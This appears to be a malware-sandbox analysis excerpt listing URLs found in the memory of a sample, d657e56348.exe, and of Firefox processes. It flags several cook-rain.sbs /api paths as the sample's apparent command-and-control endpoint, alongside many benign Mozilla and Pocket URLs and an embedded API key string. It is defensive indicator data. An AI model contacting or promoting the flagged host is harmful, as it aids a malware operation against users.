Source: d657e56348.exe, 00000009.00000003.2633690561.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2657408134.00000000017FA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2615006788.0000000005D6E000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2587343154.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api
Source: d657e56348.exe, 00000009.00000003.2705844980.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2809214340.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api%2
Source: d657e56348.exe, 00000007.00000003.2462717506.00000000013B2000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462648554.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2462430893.00000000013A8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/api:
Source: d657e56348.exe, 00000009.00000003.2658270085.000000000180C000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2657408134.00000000017FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/apice
Source: d657e56348.exe, 00000007.00000003.2516135075.00000000013B0000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2505085965.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2505180197.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/ns/
Source: d657e56348.exe, 00000009.00000003.2809214340.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/pi
Source: d657e56348.exe, 00000007.00000003.2505085965.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2505180197.00000000013AA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/w
Source: d657e56348.exe, 00000009.00000003.2705844980.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2657676204.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2670653424.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2809214340.0000000005D6D000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2633690561.0000000005D6F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs/~2
Source: d657e56348.exe, d657e56348.exe, 00000007.00000003.2505085965.00000000013A8000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2505180197.00000000013AA000.00000004.00000020.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2516033184.00000000013B6000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cook-rain.sbs:443/api
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://coverage.mozilla.org
Source: firefox.exe, 0000001B.00000002.2679974764.00000283B0F11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2679974764.00000283B0F30000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crash-reports.mozilla.com/submit?id=
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://crash-stats.mozilla.org/report/index/
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2642876277.00000283C8E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://crbug.com/993268
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://dap-02.api.divviup.org
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Mozilla/Add-ons/WebExtensions/API/tabs/captureTab
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/releasePointerCapture
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Element/setPointerCapture
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryption
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinations
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/Add-ons/WebExtensions/manifest.json/commands#Key_combinationsAdd
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsing
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/API/ElementCSSInlineStyle/style#setting_styles)
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/for-await...of
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2642876277.00000283C8E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://developer.mozilla.org/en-US/docs/Web/Web_Components/Using_custom_elements#using_the_lifecycl
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://developers.google.com/safe-browsing/v4/advisory
Source: firefox.exe, 0000001B.00000002.2682655007.00000283BC743000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2809222794.0000308A79704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com
Source: firefox.exe, 0000001B.00000003.2585401682.00000283C0C5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2585595956.00000283C0C77000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2668684292.0000005395A04000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2805302808.00001400F6504000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2580563789.00000283C0A00000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2805786086.00001AF88B504000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2711572341.00000283C0B00000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000003.2584949365.00000283C0C3C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2584605189.00000283C0C1F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/
Source: firefox.exe, 0000001B.00000002.2805786086.00001AF88B504000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/Z
Source: d657e56348.exe, 00000007.00000003.2444661438.0000000005878000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2444467662.000000000588F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2567002262.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566487201.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566807529.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: d657e56348.exe, 00000007.00000003.2444661438.0000000005878000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2444467662.000000000588F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2567002262.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566487201.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566807529.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: d657e56348.exe, 00000007.00000003.2444661438.0000000005878000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000007.00000003.2444467662.000000000588F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2567002262.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566487201.0000000005D0F000.00000004.00000800.00020000.00000000.sdmp, d657e56348.exe, 00000009.00000003.2566807529.0000000005CFB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2711572341.00000283C0B00000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/y
Source: firefox.exe, 0000001B.00000003.2589079620.00000283BF633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2588356728.00000283BF621000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2685493089.00000283BCD7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2706713703.00000283BF62B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2587818426.00000283BF633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%s
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%shttps://mail.yahoo.co.jp/compose/?To=%s
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sresource://gre/modules/FileUtils.sys.mjs
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%sz
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://e.mail.ru/cgi-bin/sentmsg?mailto=%szw
Source: firefox.exe, 0000001B.00000002.2809222794.0000308A79704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ebay.comP
Source: firefox.exe, 0000001B.00000003.2589079620.00000283BF633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0B6000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2588356728.00000283BF621000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2706713703.00000283BF62B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2587818426.00000283BF633000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%s
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://email.seznam.cz/newMessageScreen?mailto=%snav
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2686421290.00000283BD02C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://extensionworkshop.com/documentation/publish/self-distribution/
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-api-proxy.cdn.mozilla.net/
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/networking/dns/trr-skip-reasons.html#
Source: firefox.exe, 0000001B.00000002.2686421290.00000283BD011000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/performance/scroll-linked_effects.html
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox-source-docs.mozilla.org/remote/Security.html
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.allizom.org/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main-preview/collections/search-config/reco
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/records
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1/buckets/main/collections/search-config/recordshttps
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovo
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://firefox.settings.services.mozilla.com/v1AIzaSyC7jsptDS3am4tPx4r3nxis7IMjBc5Dovoresource://gr
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD54000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF03D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD45000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://fpn.firefox.com/browser?utm_source=firefox-desktop&utm_medium=referral&utm_campaign=about-pr
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ftp.mozilla.org/pub/labs/devtools/adb-extension/#OS#/adb-extension-latest-#OS#.xpi
Source: firefox.exe, 0000001B.00000003.2661683206.00000283C4857000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2758007012.00000283C4803000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2694303008.00000283BDD45000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/
Source: firefox.exe, 0000001F.00000002.2672479060.000001372E3C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/global-recs?version=3&consumer_key=$apiKey&locale_lang=
Source: firefox.exe, 0000001F.00000002.2672479060.000001372E3C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/firefox/trending-topics?version=2&consumer_key=$apiKey&locale_l
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD126000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=bas
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.cdn.mozilla.net/v3/newtab/layout?version=1&consumer_key=40249-e88c401e1b1f2242d9e4
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/career?utm_source=pocket-newtabL
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabC
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/entertainment?utm_source=pocket-newtabhttps://getpocket.com/explore/se
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/food?utm_source=pocket-newtabA
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/health?utm_source=pocket-newtabE
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/science?utm_source=pocket-newtabG
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/self-improvement?utm_source=pocket-newtab?
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/technology?utm_source=pocket-newtabN
Source: firefox.exe, 0000001F.00000002.2672479060.000001372E3C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tab
Source: firefox.exe, 0000001B.00000003.2661683206.00000283C4857000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabL
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore/trending?src=fx_new_tabresource://activity-stream/lib/ActivityStreamPr
Source: firefox.exe, 0000001B.00000002.2694303008.00000283BDD24000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtab
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/explore?utm_source=pocket-newtabI
Source: firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more
Source: firefox.exe, 0000001B.00000002.2768561269.00000283C8F3F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_more/
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morediscoverystream.personalization.override
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/firefox/new_tab_learn_morehome-prefs-highlights-option-saved-to-pocket
Source: firefox.exe, 0000001F.00000002.2672479060.000001372E3C5000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendations
Source: firefox.exe, 0000001B.00000003.2661683206.00000283C4857000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS
Source: firefox.exe, 0000001B.00000003.2661683206.00000283C4857000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsS7
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/recommendationsresource://activity-stream/lib/PrefsFeed.jsm
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getpocket.com/v3/newtab/layout?version=1&consumer_key=$apiKey&layout_variant=basic
Source: firefox.exe, 0000001B.00000002.2698625943.00000283BE003000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2642876277.00000283C8E4C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/google/closure-compiler/issues/3177
Source: firefox.exe, 0000001B.00000002.2722846466.00000283C1052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query-all.ts
Source: firefox.exe, 0000001B.00000002.2722846466.00000283C1052000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/blob/main/packages/reactive-element/src/decorators/query.ts
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/lit/lit/issues/1266
Source: firefox.exe, 0000001B.00000002.2766176950.00000283C8E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/microsoft/TypeScript/issues/338).
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshots
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD172000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla-services/screenshotsasyncEmitManifestEntry(
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/mozilla/webcompat-reporter
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2758063646.00000283C48F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/blob/master/css-grid-2/MASONRY-EXPLAINER.md
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2758063646.00000283C48F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/w3c/csswg-drafts/issues/4650
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/zertosh/loose-envify)
Source: firefox.exe, 0000001B.00000002.2682655007.00000283BC743000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2702764517.00000283BF0A3000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2809222794.0000308A79704000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://google.com
Source: firefox.exe, 0000001B.00000002.2758063646.00000283C48F4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/browser:purge-session-history
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD1E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://gpuweb.github.io/gpuweb/browser:purge-session-historyBrowser:UnselectedTabHoverset
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://helper1.dap.cloudflareresearch.com/v02
Source: firefox.exe, 0000001B.00000002.2679974764.00000283B0F11000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881
Source: firefox.exe, 0000001B.00000002.2679974764.00000283B0F11000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881C:
Source: firefox.exe, 0000001B.00000002.2688089288.00000283BD103000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://hg.mozilla.org/releases/mozilla-release/rev/68e4c357d26c5a1f075a1ec0c696d4fe684ed881UpdateUt
Source: firefox.exe, 0000001B.00000002.2698945951.00000283BE100000.00000002.08000000.00040000.00000000.sdmp	String found in binary or memory: https://ideas.mozilla.org/
Source: firefox.exe, 0000001B.00000002.2731677893.00000283C2017000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://img-getpocket.cdn.mozilla.net/
